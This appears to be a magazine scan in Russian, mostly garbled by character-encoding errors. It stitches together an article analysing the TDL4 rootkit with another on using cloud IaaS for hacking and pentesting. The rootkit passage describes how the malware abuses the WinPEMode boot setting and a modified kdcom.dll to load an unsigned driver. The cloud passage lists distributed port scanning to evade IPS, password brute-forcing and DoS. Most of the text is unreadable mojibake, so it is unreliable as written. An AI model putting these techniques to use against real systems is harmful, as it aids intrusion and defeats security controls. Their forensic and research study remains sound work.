ËÏÅÁ, ÄÅÆ ÐÑÉ ÐÏÍÏÚÉ ÁÒÒÆÍÂÌÆÑÎÏÊ ËÏÍÁÎÅÜ ×ÉËÌÉØÆÒËÏÄÏ ÒÅÃÉÄÁ 

(ROR) ÐÑÏÉÒÖÏÅÉÓ ÑÁÒÙÉÕÑÏÃÁÎÉÆ ÏÒÓÁÌÝÎÏÊ ØÁÒÓÉ ËÏÅÁ É ÐÆÑÆÅÁØÁ 
ÔÐÑÁÃÌÆÎÉà ÎÁ ÎÆÄÏ. £ÓÏÑÁà ÒÓÔÐÆÎÝ ÎÁ ÐÔÓÉ Ë ÏÂÖÏÅÔ ÐÑÏÃÆÑËÉ ×ÉÕ-
ÑÏÃÏÊ ÐÏÅÐÉÒÉ — ÞÓÏ ÐÆÑÆÅÁØÁ ÔÐÑÁÃÌÆÎÉà ÎÁ ÍÏÅÔÌÝ ldr16, ËÏÓÏÑÜÊ 
ÒØÉÓÜÃÁÆÓÒà ÉÈ ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÜ ÑÔÓËÉÓÁ.
¯ÅÎÏÊ ÉÈ ÈÁÅÁØ ldr16 àÃÌàÆÓÒà ÍÏÅÉÕÉËÁ×Éà ÐÁÑÁÍÆÓÑÏÃ BCD ÎÁ 
ÌÆÓÔ, ÓÏ ÆÒÓÝ ÐÑàÍÏ Ã ÐÑÏ×ÆÒÒÆ ÈÁÄÑÔÈËÉ ÏÐÆÑÁ×ÉÏÎÎÏÊ ÒÉÒÓÆÍÜ. ¾ÓÉ 
ÒÁÍÜÆ ÐÁÑÁÍÆÓÑÜ ÃÜÄÌàÅàÓ ÒÌÆÅÔßÚÉÍ ÏÂÑÁÈÏÍ (ÒÍ. ÑÉÒ. 3).
®ÁÉÂÏÌÝÙÉÊ ÉÎÓÆÑÆÒ ldr16 ÐÑÏàÃÌàÆÓ Ë ÐÁÑÁÍÆÓÑÔ  
BcdOSLoaderBoolean_WinPEMode (0x26000022), ËÏÓÏÑÜÊ ÏÓÃÆØÁ-
ÆÓ ÈÁ ÈÁÄÑÔÈËÔ ÏÐÆÑÁ×ÉÏÎÎÏÊ ÒÉÒÓÆÍÜ Ã ÓÁË ÎÁÈÜÃÁÆÍÏÍ ÑÆÇÉÍÆ 
preinstallation mode, Ã ËÏÓÏÑÏÍ ÃÒÆ ÐÑÏÃÆÑËÉ ×ÆÌÏÒÓÎÏÒÓÉ ÏÓËÌßØÆ-
ÎÜ. ¯ÓËÌßØÉÓÝ ÞÓÉ ÐÑÏÃÆÑËÉ ÎÆÏÂÖÏÅÉÍÏ ÅÌà ÈÁÄÑÔÈËÉ ÍÏÅÉÕÉ×ÉÑÏ-
ÃÁÎÎÏÊ ÒÉÒÓÆÍÎÏÊ ÂÉÂÌÉÏÓÆËÉ kdcom.dll, ËÏÓÏÑÁà ÏÓÃÆØÁÆÓ ÈÁ ÒÃàÈÝ 
ÍÆÇÅÔ àÅÑÏÍ ÏÐÆÑÁ×ÉÏÎÎÏÊ ÒÉÒÓÆÍÜ É ÏÓÌÁÅØÉËÏÍ WinDbg. °ÏÒÌÆ 
ÔÒÐÆÙÎÏÊ ÈÁÄÑÔÈËÉ ÍÏÅÉÕÉ×ÉÑÏÃÁÎÎÏÊ kdcom.dll Ã ÃÉÅÆ ÍÏÅÔÌà 
ldr32 ÉÌÉ ldr64, Ã ÈÁÃÉÒÉÍÏÒÓÉ ÏÓ ÑÁÈÑàÅÎÏÒÓÉ ÏÐÆÑÁ×ÉÏÎÎÏÊ ÒÉÒÓÆ-
ÍÜ, ÐÑÏÉÒÖÏÅÉÓ ÍÏÅÉÕÉËÁ×Éà ÐÁÑÁÍÆÓÑÁ /MININT, Ò ÔÍÜÙÌÆÎÎÏÊ 
ÏÙÉÂËÏÊ ÐÑÆÃÑÁÚÁà ÆÄÏ ÓÁËÉÍ ÏÂÑÁÈÏÍ Ã ÎÆÃÁÌÉÅÎÜÊ ÐÁÑÁÍÆÓÑ M/
NI, ØÓÏ ÐÑÉÃÏÅÉÓ Ë ÈÁÄÑÔÈËÆ ÒÉÒÓÆÍÜ Ã ÎÏÑÍÁÌÝÎÏÍ ÑÆÇÉÍÆ.
®Ï ÃÏÈÎÉËÁÆÓ ÃÐÏÌÎÆ ÈÁËÏÎÏÍÆÑÎÜÊ ÃÏÐÑÏÒ: ÈÁØÆÍ ÇÆ ÐÑÏÉÒÖÏÅÉÓ 
ÈÁÄÑÔÈËÁ ÍÏÅÉÕÉ×ÉÑÏÃÁÎÎÏÊ ÂÉÂÌÉÏÓÆËÉ kdcom.dll? ¨ÅÆÒÝ ËÑÏÆÓ-
Òà ÉÎÓÆÑÆÒÎÜÊ ÎßÁÎÒ, ËÏÓÏÑÜÊ ÈÁËÌßØÁÆÓÒà Ã ÓÏÍ, ØÓÏ Ã ÐÑÏ×ÆÒÒÆ 
ÈÁÄÑÔÈËÉ àÅÑÁ ÐÑÏÉÒÖÏÅÉÓ ÃÜÈÏÃ ÕÔÎË×ÉÉ KdDebuggerInitialize1(), 
ËÏÓÏÑÁà ËÁË ÑÁÈ ÞËÒÐÏÑÓÉÑÔÆÓÒà ÉÈ kdcom.dll, É Ã ÎÆÆ ÃÎÆÒÆÎÜ ÉÎÓÆ-
ÑÆÒÎÜÆ ÉÈÍÆÎÆÎÉà. ¡ ÓÏØÎÆÆ, ÒÑÁÈÔ ÐÏÒÌÆ ÆÆ ÃÜÈÏÃÁ ÐÑÏÉÈÏÊÅÆÓ 
ÃÜÈÏÃ ÕÔÎË×ÉÉ PsSetLoadImageNotifyRoutine(), ËÏÓÏÑÁà ÔÒÓÁÎÁÃÌÉ-
ÃÁÆÓ ÏÂÑÁÂÏÓØÉË ÎÁ ÈÁÄÑÔÈËÔ ÉÒÐÏÌÎàÆÍÏÄÏ ÏÂÑÁÈÁ Ã ÐÁÍàÓÝ. ¡ ÒÁÍ 
ÞÓÏÓ ÏÂÑÁÂÏÓØÉË ÒÏÅÆÑÇÉÓ ÃÜÈÏÃ ÎÆÅÏËÔÍÆÎÓÉÑÏÃÁÎÎÏÊ ÕÔÎË×ÉÉ 
IoCreateDriver(), ËÏÓÏÑÁà ÒÏÈÅÁÆÓ É ÉÎÉ×ÉÁÌÉÈÉÑÔÆÓ ÏÂÛÆËÓ-ÅÑÁÊÃÆÑ.
£ÒÆ ÃÜÙÆÏÐÉÒÁÎÎÏÆ ÙÁÍÁÎÒÓÃÏ ÐÏÈÃÏÌàÆÓ ÐÑÏÓÁÚÉÓÝ Ã àÅÑÏ É 
ÈÁÄÑÔÈÉÓÝ ÎÆÐÏÅÐÉÒÁÎÎÜÊ ÅÑÁÊÃÆÑ. ¦ÒÌÉ ÃÒÆ ÞÓÏ ÉÈÏÂÑÁÈÉÓÝ Ã ÃÉÅÆ 
ÒÖÆÍÜ, ÓÏ ÏÎÁ ÂÔÅÆÓ ÃÜÄÌàÅÆÓÝ ÓÁË (ÒÍ. ÑÉÒ. 4).
¨ÅÆÒÝ ÒÓÏÉÓ ÏÓÍÆÓÉÓÝ, ØÓÏ ÒÏ ÒÓÏÑÏÎÜ MS ÂÜÌÁ ÐÏÐÜÓËÁ ÐÑÏÓÉÃÏ-
ÅÆÊÒÓÃÉà ÏÐÉÒÁÎÎÏÍÔ ÒÐÏÒÏÂÔ ÏÂÖÏÅÁ ÐÑÏÃÆÑÏË ×ÉÕÑÏÃÏÊ ÐÏÅÐÉÒÉ, 
É Ã ËÏÎ×Æ ÃÆÒÎÜ ÂÜÌ ÃÜÐÔÚÆÎ ÐÁÓØ KB2506014, ËÏÓÏÑÜÊ ÎÆ ÐÏÈÃÏÌàÌ 
ÂÏÌÝÙÆ ÉÒÐÏÌÝÈÏÃÁÓÝ WinPEMode É ÈÁÄÑÔÇÁÓÝ ÍÏÅÉÕÉ×ÉÑÏÃÁÎÎÔß 
ÂÉÂÌÉÏÓÆËÔ kdcom.dll. ®Ï ÒÐÔÒÓà ÂÔËÃÁÌÝÎÏ ÎÆÒËÏÌÝËÏ ÅÎÆÊ, ÐÏàÃÉ-

Êðèìèíàëèñòè÷åñêàÿ ýêñïåðòèçà è àíàëèç 
ðóòêèò-ïðîãðàìì íà ïðèìåðå TDL4

ÀÍÀËÈÇ TDL4
  Cîãäà îðãàíèçàòîðû PHD’2011 ïðåäëîæèëè âûñòóïèòü ñ ìàñòåð-

êëàññîì, ìû ñ  ìîèì êîëëåãîé Åâãåíèåì Ðîäèîíîâûì ðàáîòàëè íàä 
èññëåäîâàíèåì ðóòêèòà ñåìåéñòâà Olmarik (TDL4). Â ðàìêàõ PHD íàì 
õîòåëîñü ðàññêàçàòü íå÷òî èíòåðåñíîå, ÷òî ðàíåå áûëî ïëîõî 
îñâåùåíî èëè âîîáùå íå çàòðîíóòî.

 ¡ÌÆËÒÁÎÅÑ  ÁÓÑÏÒÏÃ

°Ï ÍÁÓÆÑÉÁÌÁÍ
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ÌÁÒÝ ÍÏÅÉÕÉËÁ×Éà Win32/Olmarik.AMN, ËÏÓÏÑÁà ÔÇÆ ÔÍÆÌÁ ÏÂÖÏÅÉÓÝ 
ÞÓÏÓ ÐÁÓØ :).

Криминалистическая экспертиза
µÁÊÌÏÃÁà ÒÉÒÓÆÍÁ ÑÔÓËÉÓÁ ÐÑÆÅÒÓÁÃÌàÆÓ ÒÏÂÏÊ ÒËÑÜÓÜÊ ËÏÎÓÆÊÎÆÑ, 
ÅÏÐÉÒÁÎÎÜÊ Ã ËÏÎÆ× ÇÆÒÓËÏÄÏ ÅÉÒËÁ. £ ÞÓÏÍ ËÏÎÓÆÊÎÆÑÆ É ÖÑÁÎàÓÒà 
ÃÒÆ ËÏÍÐÏÎÆÎÓÜ ÑÔÓËÉÓÁ É ËÏÎÕÉÄÔÑÁ×ÉÏÎÎÜÊ ÕÁÊÌ Ò ËÏÍÁÎÅÎÜÍÉ 
×ÆÎÓÑÁÍÉ.
©ÍÆÎÎÏ ÐÏÞÓÏÍÔ ÏÎÁ ÐÑÆÅÒÓÁÃÌàÆÓ ÎÁÉÂÏÌÝÙÉÊ ÉÎÓÆÑÆÒ Ò ÓÏØËÉ ÈÑÆ-
ÎÉà ËÑÉÍÉÎÁÌÉÒÓÉØÆÒËÏÊ ÞËÒÐÆÑÓÉÈÜ. ®Ï ËÁÇÅÜÊ ÑÁÈ ÅÏÒÓÁÃÁÓÝ É 
ÑÁÒÙÉÕÑÏÃÜÃÁÓÝ ÞÓÏÓ ÒËÑÜÓÜÊ ÑÁÈÅÆÌ ÅÏÒÓÁÓÏØÎÏ ÍÔÓÏÑÎÏ, ÐÏÞÓÏÍÔ 
ÅÌà ÁÃÓÏÍÁÓÉÈÁ×ÉÉ ÐÑÏ×ÆÒÒÁ ÎÁÍÉ ÂÜÌÁ ÑÁÈÑÁÂÏÓÁÎÁ ÒÐÆ×ÉÁÌÝÎÁà 
ÔÓÉÌÉÓÁ TdlFsReader (eset.ru/tools/TdlFsReader.exe). ¯ÎÁ ÎÁÖÏÅÉÓÒà 
Ã ÒÃÏÂÏÅÎÏÍ ÅÏÒÓÔÐÆ É ÐÏÅÅÆÑÇÉÃÁÆÓ ÃÒÆ ÉÈÃÆÒÓÎÜÆ ÍÏÅÉÕÉËÁ×ÉÉ 
ÞÓÏÄÏ ÑÔÓËÉÓÁ, ÎÁØÉÎÁà Ò ÃÆÑÒÉÉ TDL3. ¦ÒÌÉ ÐÏÒÍÏÓÑÆÓÝ ÎÁ ÆÆ ÃÎÔÓÑÆÎ-
ÎÆ ÔÒÓÑÏÊÒÓÃÏ, ÓÏ ÏÎÁ ÒÏÒÓÏÉÓ ÉÈ ÎÆÒËÏÌÝËÉÖ ËÏÍÐÏÎÆÎÓÏÃ:
• ÏÐÑÆÅÆÌÆÎÉÆ ÃÆÑÒÉÉ ÑÔÓËÉÓÁ É ÁÌÄÏÑÉÓÍÁ ÙÉÕÑÏÃÁÎÉà ÕÁÊÌÏÃÏÊ 
ÒÉÒÓÆÍÜ;
• ÐÁÑÒÆÑÁ ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÜ É ÁÌÄÏÑÉÓÍÁ ÑÁÒÙÉÕÑÏÃÁÎÉà ÕÁÊÌÏÃ 
ÃÎÔÓÑÉ ÎÆÆ;
• ÐÑÏÓÉÃÏÅÆÊÒÓÃÉÆ ÍÆÖÁÎÉÈÍÁÍ ÒÁÍÏÈÁÚÉÓÜ ÑÔÓËÉÓÁ;
• ØÓÆÎÉÆ ÇÆÒÓËÏÄÏ ÅÉÒËÁ ÎÁ ÎÉÈËÏÍ ÔÑÏÃÎÆ.
£ ÑÆÈÔÌÝÓÁÓÆ ÑÁÂÏÓÜ TdlFsReader ÍÜ ÐÏÌÔØÁÆÍ ÐÏÌÎÜÊ ÅÁÍÐ ÒËÑÜÓÏÄÏ 
ÑÁÈÅÆÌÁ ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÜ ÑÔÓËÉÓÁ.
°ÏÅÏÂÎÜÆ ÔÌÉËÉ Ã ÃÉÅÆ ËÏÎÕÉÄÔÑÁ×ÉÏÎÎÏÄÏ ÕÁÊÌÁ, ÒÏÅÆÑÇÁÚÆÄÏ 
ÁÅÑÆÒÁ ËÏÍÁÎÅÎÜÖ ×ÆÎÓÑÏÃ É ÆÄÏ ÁËÓÉÃÎÜÖ ËÏÍÐÏÎÆÎÓÏÃ, àÃÌàßÓÒà 
ÉÎÓÆÑÆÒÎÜÍ ÍÁÓÆÑÉÁÌÏÍ, ËÏÓÏÑÜÊ ÍÏÇÆÓ ÅÁÓÝ ÅÏÐÏÌÎÉÓÆÌÝÎÜÆ ÃÆËÓÏÑÜ 

ÑÁÈÃÉÓÉà ÅÌà ÑÁÒÒÌÆÅÏÃÁÎÉà. ¢ÏÌÆÆ ÓÏÄÏ, ÅÁÇÆ ÐÏÒÌÆ ÔÅÁÌÆÎÉà ÂÏÌÝ-
ÙÉÎÒÓÃÏÍ ÌÆØÁÚÉÖ ÔÓÉÌÉÓ ÁËÓÉÃÎÏÄÏ ÈÁÑÁÇÆÎÉà TDL4, ÒËÑÜÓÜÊ ÑÁÈÅÆÌ 
ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÜ ÃÒÆ ÑÁÃÎÏ ÏÒÓÁÆÓÒà ÎÁ ÇÆÒÓËÏÍ ÅÉÒËÆ, É ÉÈ ÎÆÄÏ 
ÓÁËÇÆ ÍÏÇÎÏ ÐÏÌÔØÉÓÝ ÉÎÕÏÑÍÁ×Éß.
£ ËÁØÆÒÓÃÆ ÈÁËÌßØÆÎÉà ÖÏØÆÓÒà ÈÁÍÆÓÉÓÝ, ØÓÏ ÔÇÆ ÎÁ ÐÑÏÓàÇÆÎÉÉ 
ÎÆÒËÏÌÝËÉÖ ÌÆÓ ÒÆÍÆÊÒÓÃÔ TDL ÔÅÁÆÓÒà ÔÅÆÑÇÉÃÁÓÝ ÓÆÖÎÏÌÏÄÉØÆÒËÏÆ 
ÐÆÑÃÆÎÒÓÃÏ ÒÑÆÅÉ ÑÁÒÐÑÏÒÓÑÁÎÆÎÎÜÖ Ã «ÇÉÃÏÊ ÐÑÉÑÏÅÆ» ÑÔÓËÉÓ-
ÐÑÏÄÑÁÍÍ. °ÏÒÍÏÓÑÉÍ, ØÓÏ ÐÑÉÎÆÒÆÓ ÅÁÌÝÎÆÊÙÆÆ ÆÄÏ ÑÁÈÃÉÓÉÆ, É ØÆÍ 
ÎÁÒ ÔÅÉÃàÓ ÆÄÏ ÁÃÓÏÑÜ Ã ÂÔÅÔÚÆÍ. z

[2] Модифицированная загрузочная запись

[4] Схема загрузки неподписанного драйвера 

[3] Параметры Boot Configuration Data 

[5] Утилита TdlFsReader извлекает дамп файловой систе-
мы руткита

[1] Процесс загрузки операционной системы
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ВЗЛОМ
 ¿ÑÉÊ  ¤ÏÌÝ×ÆÃ ,  ÞËÒÐÆÑÓ  ÐÏ  ÉÎÕÏÑÍÁ×ÉÏÎÎÏÊ  ÂÆÈÏÐÁÒÎÏÒÓÉ  Posit ive Technologies 

  Îãðîìíûå âû÷èñëèòåëüíûå ìîùíîñòè îáëà÷íûõ èíôðàñòðóêòóð 
îòêðûâàþò ïåðåä ïåíòåñòåðàìè è áëåêõàòàìè ìíîæåñòâî íîâûõ 
âîçìîæíîñòåé. Ñåãîäíÿ ìû ïîñìîòðèì íà cloud computing ñ íîâîé 
ñòîðîíû è ðàññìîòðèì êîíêðåòíûå êåéñû èñïîëüçîâàíèÿ îáëà÷íûõ 
ìîùíîñòåé äëÿ âçëîìà è ïåíòåñòèíãà.

Îáëà÷íûå âû÷èñëåíèÿ íà ñëóæáå ó ïåíòåñòåðà

CLOUD 
HACKING

IaaS на службе у хакера
¯ÂÌÁØÎÜÆ ÃÜØÉÒÌÆÎÉà ÐÑÆÅÒÓÁÃÌÆÎÜ ÅÌà ÐÏÌÝÈÏÃÁÓÆÌà ÒÌÆÅÔß-
ÚÉÍÉ ÔÒÌÔÄÁÍÉ: 
• SaaS (Software as a Service)
• PaaS (Platform as a Service)
• IaaS (Infrastructure as a Service)
• HaaS (Hardware as a Service)
• WaaS (Workplace as a Service)
• IaaS (Infrastructure as a Service)
• EaaS (Everything as a Service)
• DaaS (Data as a Service)
• SaaS (Security as a Service)
£ ÐÆÑÃÔß ÏØÆÑÆÅÝ ÎÁÒ ÉÎÓÆÑÆÒÔÆÓ ÒÆÑÃÉÒ IaaS, ÓÁË ËÁË ÏÎ ÐÑÆÅÏ-
ÒÓÁÃÌàÆÓ Ã ÅÁÎÎÜÊ ÍÏÍÆÎÓ ÎÁÉÂÏÌÆÆ ÃÏÒÓÑÆÂÏÃÁÎÎÔß É «ÑÆÁ-
ÌÉÒÓÉØÎÔß» ÒÑÆÅÔ ÅÌà ÐÆÎÓÆÒÓÆÑÁ. ²ÆÑÃÉÒ IaaS ÐÑÆÅÏÒÓÁÃÌàÆÓ 
ÐÏÌÝÈÏÃÁÓÆÌß ÃÏÈÍÏÇÎÏÒÓÝ ÒÏÈÅÁÎÉà ÃÉÑÓÔÁÌÝÎÏÄÏ ÒÆÑÃÆÑÁ ÎÁ 
ÏÒÎÏÃÆ ÏÂÏÑÔÅÏÃÁÎÉà ÐÑÏÃÁÊÅÆÑÁ ÏÂÌÁØÎÜÖ ÃÜØÉÒÌÆÎÉÊ. ²ÁÍÏÆ 
ÏØÆÃÉÅÎÏÆ ÐÑÆÉÍÔÚÆÒÓÃÏ ÅÁÎÎÏÄÏ ÒÆÑÃÉÒÁ — ÐÑÁËÓÉØÆÒËÉ ÎÆÏ-
ÄÑÁÎÉØÆÎÎÜÆ ÃÏÈÍÏÇÎÏÒÓÉ ÐÏ ÍÁÒÙÓÁÂÉÑÏÃÁÎÉß ÃÜØÉÒÌÉÓÆÌÝÎÜÖ 
ÍÏÚÎÏÒÓÆÊ. ¸ÓÏ ÇÆ ÓÁËÏÆ ÒÆÑÃÉÒ IaaS ÅÌà ÐÆÎÓÆÒÓÆÑÁ? 
¾ÓÏ ÔÎÉËÁÌÝÎÁà ÃÏÈÍÏÇÎÏÒÓÝ ÉÒÐÏÌÝÈÏÃÁÓÝ ÅÆÒàÓËÉ ÉÅÆÎÓÉØÎÜÖ 
ÐÏ ÃÏÈÍÏÇÎÏÒÓàÍ ÒÆÑÃÆÑÏÃ Ò ×ÆÌÝß ÞÕÕÆËÓÉÃÎÏÊ ÑÆÁÌÉÈÁ×ÉÉ 
ËÌÁÒÒÉØÆÒËÉÖ ÈÁÅÁØ Ã ÏÂÌÁÒÓÉ ÐÆÎÓÆÒÓÁ:
• ÏÂÍÁÎ IPS ÐÑÉ ÔÅÁÌÆÎÎÏÍ ÒËÁÎÉÑÏÃÁÎÉÉ ÐÏÑÓÏÃ;
• ÑÁÒÐÑÆÅÆÌÆÎÎÜÊ ÐÆÑÆÂÏÑ ÐÁÑÏÌÆÊ;
• ÁÓÁËÉ ÎÁ ÏÓËÁÈ Ã ÏÂÒÌÔÇÉÃÁÎÉÉ;
• ÒËÁÎÉÑÏÃÁÎÉÆ ÒÆÓÆÃÏÄÏ ÐÆÑÉÍÆÓÑÁ;
• ÁÃÓÏÍÁÓÉÈÉÑÏÃÁÎÎÜÊ ÐÏÉÒË ÔàÈÃÉÍÏÒÓÆÊ.
²ÁÍÏ ÒÏÂÏÊ, ÉÒÐÏÌÝÈÏÃÁÎÉÆ ÉÎÎÏÃÁ×ÉÏÎÎÜÖ ÓÆÖÎÏÌÏÄÉÊ ÏÂÌÁØÎÜÖ 
ÃÜØÉÒÌÆÎÉÊ ÍÏÇÆÓ ÂÜÓÝ ÎÁÐÑÁÃÌÆÎÏ ËÁË Ã ÐÏÌÆÈÎÏÆ ÑÔÒÌÏ, ÓÁË É Ã 
ÎÆ ÏØÆÎÝ ÐÏÌÆÈÎÏÆ. «ÁË ÐÌÏÖÉÆ ÐÁÑÎÉ ÍÏÄÔÓ ÉÒÐÏÌÝÈÏÃÁÓÝ ÒÆÑÃÉÒ 
Ã ÒÃÏÉÖ ×ÆÌàÖ? ¾ÓÏÓ ÃÏÐÑÏÒ ÍÜ ÐÏÒÓÁÑÁÆÍÒà ÑÁÒÒÍÏÓÑÆÓÝ Ã ÅÁÎ-
ÎÏÊ ÄÌÁÃÆ ÎÁ ÐÑÉÍÆÑÆ ÎÁÉÂÏÌÆÆ ØÁÒÓÜÖ ÈÌÏÔÐÏÓÑÆÂÌÆÎÉÊ.

¡ÎÏÎÉÍÎÏÒÓÝ
£ÏÐÑÏÒ ÁÎÏÎÉÍÎÏÒÓÉ ÐÑÉ ÉÒÐÏÌÝÈÏÃÁÎÉÉ ÒÆÑÃÉÒÏÃ ÏÂÌÁØÎÜÖ 
ÃÜØÉÒÌÆÎÉÊ ÒÓÏÉÓ ËÑÁÊÎÆ ÏÒÓÑÏ. ¥ÆÌÏ Ã ÓÏÍ, ØÓÏ ÃÒà ÉÎÕÏÑÍÁ×Éà, 
ËÏÓÏÑÁà ÎÆÏÂÖÏÅÉÍÁ ÅÌà ÐÏÌÔØÆÎÉà ÅÏÒÓÔÐÁ Ë ÓÁËÏÄÏ ÑÏÅÁ ÒÆÑÃÉ-
ÒÁÍ, ÏÄÑÁÎÉØÉÃÁÆÓÒà ÌÉÙÝ ÎÏÍÆÑÁÍÉ ËÑÆÅÉÓÎÏÊ ËÁÑÓÜ É ÒÏÓÏÃÏÄÏ 
ÓÆÌÆÕÏÎÁ. ¢ÏÌÝÙÉÎÒÓÃÏ ÐÑÏÃÁÊÅÆÑÏÃ ÃÆÑàÓ ÐÏÌÝÈÏÃÁÓÆÌß «ÎÁ 
ÒÌÏÃÏ» É ÎÆ ÈÁÅÔÍÜÃÁßÓÒà Ã ÎÁÒÓÏàÚÉÊ ÍÏÍÆÎÓ Ï ÃÏÐÑÏÒÁÖ, ÃÏÈ-
ÎÉËÁßÚÉÖ ÐÏÒÌÆ ÓÏÄÏ, ËÁË ÉÖ ÒÆÑÃÉÒ ÒÓÁÌ ÏÅÎÏÊ ÉÈ ËÌßØÆÃÜÖ 
×ÆÐÏØÆË Ã ÉÒÓÏÑÉÉ ÃÈÌÏÍÁ ËÁËÏÄÏ-ÌÉÂÏ ÑÆÒÔÑÒÁ.
¸ÓÏÂÜ ÃÜÄÏÅÎÏ ÐÑÏÅÁÓÝ ÒÃÏÉ ÔÒÌÔÄÉ, ÐÑÏÃÁÊÅÆÑÜ ÏÖÏÓÎÏ ÐÑÆÅ-
ÌÁÄÁßÓ ÐÏÌÝÈÏÃÁÓÆÌàÍ ÐÑÏÍÏ-ÐÑÏÄÑÁÍÍÜ, ÐÑÆÅÏÒÓÁÃÌàßÚÉÆ 
ÃÏÈÍÏÇÎÏÒÓÝ ÂÆÒÐÌÁÓÎÏÄÏ ÉÒÐÏÌÝÈÏÃÁÎÉà ÒÆÑÃÉÒÏÃ Ã ÓÆØÆÎÉÆ 
ÏÐÑÆÅÆÌÆÎÎÏÄÏ ÐÑÏÍÆÇÔÓËÁ ÃÑÆÍÆÎÉ. £Òà ÉÎÕÏÑÍÁ×Éà Ï ÐÏÌÝÈÏ-
ÃÁÓÆÌÆ, ÐÏÌÔØÉÃÙÆÍ ÅÏÒÓÔÐ Ë ÒÆÑÃÉÒÔ, Ã ÓÁËÏÍ ÒÌÔØÁÆ ÒÃÏÅÉÓÒà Ë 
ÁÅÑÆÒÔ ÞÌÆËÓÑÏÎÎÏÊ ÐÏØÓÜ É IP-ÁÅÑÆÒÔ, ËÏÓÏÑÜÊ ÂÜÌ ÉÒÐÏÌÝÈÏÃÁÎ 
ÐÏÌÝÈÏÃÁÓÆÌÆÍ ÅÌà ÔÐÑÁÃÌÆÎÉà ÔÒÌÔÄÁÍÉ. ²ÏÃÆÑÙÆÎÎÏ ÐÏÎàÓÎÏ, 
ØÓÏ Ã ÞÓÉÖ ÔÒÌÏÃÉàÖ ÒÔÚÆÒÓÃÔÆÓ ÍÎÏÄÏ ÒÐÏÒÏÂÏÃ ÁÂÒÏÌßÓÎÏ ÁÎÏ-
ÎÉÍÎÏÄÏ ÉÒÐÏÌÝÈÏÃÁÎÉà ÏÂÌÁØÎÜÖ ÍÏÚÎÏÒÓÆÊ. 

²ÆÓÆÃÁà ÑÁÈÃÆÅËÁ
³ÆÑÍÉÎ «ÒÆÓÆÃÁà ÑÁÈÃÆÅËÁ» ÐÏÅÑÁÈÔÍÆÃÁÆÓ ÐÏÅ ÒÏÂÏÊ ÍÆÑÏÐÑÉà-
ÓÉà, ÎÁÐÑÁÃÌÆÎÎÜÆ ÎÁ ÁÃÓÏÍÁÓÉÈÉÑÏÃÁÎÎÜÊ ÒÂÏÑ ÉÎÕÏÑÍÁ×ÉÉ 
ÅÌà ÅÁÌÝÎÆÊÙÆÄÏ ÁÎÁÌÉÈÁ. ¯ÂÌÁØÎÜÆ ÃÜØÉÒÌÆÎÉà ÐÏÈÃÏÌàßÓ 
ÒÏÈÅÁÓÝ ÏÓÌÉØÎÔß ÐÌÏÚÁÅËÔ ÅÌà ÐÑÏÃÆÅÆÎÉà ÓÁËÏÄÏ ÑÏÅÁ ÍÆÑÏ-
ÐÑÉàÓÉÊ, ÐÏÓÏÍÔ ØÓÏ ÏÂÆÒÐÆØÉÃÁßÓ ÎÆÒËÏÌÝËÏ ÃÁÇÎÜÖ ÕÁËÓÏÑÏÃ, 
ËÏÓÏÑÜÆ ÎÆÏÂÖÏÅÉÍÜ ÅÌà ÁÃÓÏÍÁÓÉÈÁ×ÉÉ ÒÂÏÑÁ ÅÁÎÎÜÖ. ¡ ÉÍÆÎÎÏ: 
ÑÁÈÎÜÆ IP-ÁÅÑÆÒÁ, Ò ËÏÓÏÑÜÖ ÐÑÏÉÈÃÏÅÉÓÒà ÒÂÏÑ ÅÁÎÎÜÖ, ÒËÏÑÏÒÓÝ 
ËÁÎÁÌÁ ÒÃàÈÉ É ÃÜØÉÒÌÉÓÆÌÝÎÜÆ ÑÆÒÔÑÒÜ, ÐÏÈÃÏÌàßÚÉÆ ÂÜÒÓÑÏ 
ÏÂÑÁÂÁÓÜÃÁÓÝ ÐÏÌÔØÆÎÎÔß Ã ÑÆÈÔÌÝÓÁÓÆ ÒÂÏÑÁ ÅÁÎÎÜÖ ÉÎÕÏÑÍÁ-
×Éß.

²ËÁÎÉÑÏÃÁÎÉÆ ÐÏÑÓÏÃ
©ÒÐÏÌÝÈÏÃÁÎÉÆ ÃÏÈÍÏÇÎÏÒÓÆÊ ÒÆÑÃÉÒÁ IaaS ÐÏÈÃÏÌàÆÓ ÈÌÏÔÍÜÙ-
ÌÆÎÎÉËÔ ÐÑÆÏÅÏÌÆÃÁÓÝ ÓÁËÉÆ ÈÁÚÉÓÎÜÆ ÒÑÆÅÒÓÃÁ, ËÁË IPS/IDS. 
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©ÅÆà ÃÏÈÍÏÇÎÏÒÓÉ ÒËÑÜÓÏÄÏ ÏÓ IPS/IDS ÒËÁÎÉÑÏÃÁÎÉà ÐÏÑÓÏÃ ÎÁ 
ÔÅÁÌÆÎÎÏÊ ÒÉÒÓÆÍÆ ÈÁËÌßØÁÆÓÒà Ã ÓÏÍ, ØÓÏ ÒËÁÎÉÑÏÃÁÎÉÆ ÐÑÏ-
ÖÏÅÉÓ Ò ÂÏÌÆÆ ØÆÍ ÅÆÒàÓËÁ ÑÁÈÌÉØÎÜÖ IP-ÁÅÑÆÒÏÃ Ò ÃÑÆÍÆÎÎÜÍÉ 
ÉÎÓÆÑÃÁÌÁÍÉ, ÐÏ ØÁÒÓàÍ. £ ÑÆÈÔÌÝÓÁÓÆ — ÅÁÇÆ ÖÏÑÏÙÏ ÎÁÒÓÑÏÆÎ-
ÎÁà IPS/IDS ÎÆ ÒÍÏÇÆÓ ÉÅÆÎÓÉÕÉ×ÉÑÏÃÁÓÝ ÒÏÂÜÓÉÆ ÒËÁÎÉÑÏÃÁ-
ÎÉà ÐÏÑÓÏÃ, Á ÆÒÌÉ ÉÅÆÎÓÉÕÉ×ÉÑÔÆÓ ÆÄÏ, ÓÏ ÈÁÂÌÏËÉÑÔÆÓ ÓÏÌÝËÏ 
ÏÅÉÎ IP-ÁÅÑÆÒ ÉÈ ÍÎÏÇÆÒÓÃÁ ÁÅÑÆÒÏÃ,  ÒËÁÎÉÑÔßÚÉÖ ÒÆÑÃÆÑÏÃ. 
¦ÒÓÆÒÓÃÆÎÎÏ, ÅÌà ÑÆÁÌÉÈÁ×ÉÉ ÓÁËÏÊ ÈÁÅÁØÉ ÎÆÏÂÖÏÅÉÍÏ ÑÁÈ-
ÑÁÂÏÓÁÓÝ ÐÑÏÄÑÁÍÍÎÏÆ ÏÂÆÒÐÆØÆÎÉÆ, ÐÏÈÃÏÌàßÚÆÆ ÔÅÁÌÆÎÎÏ 
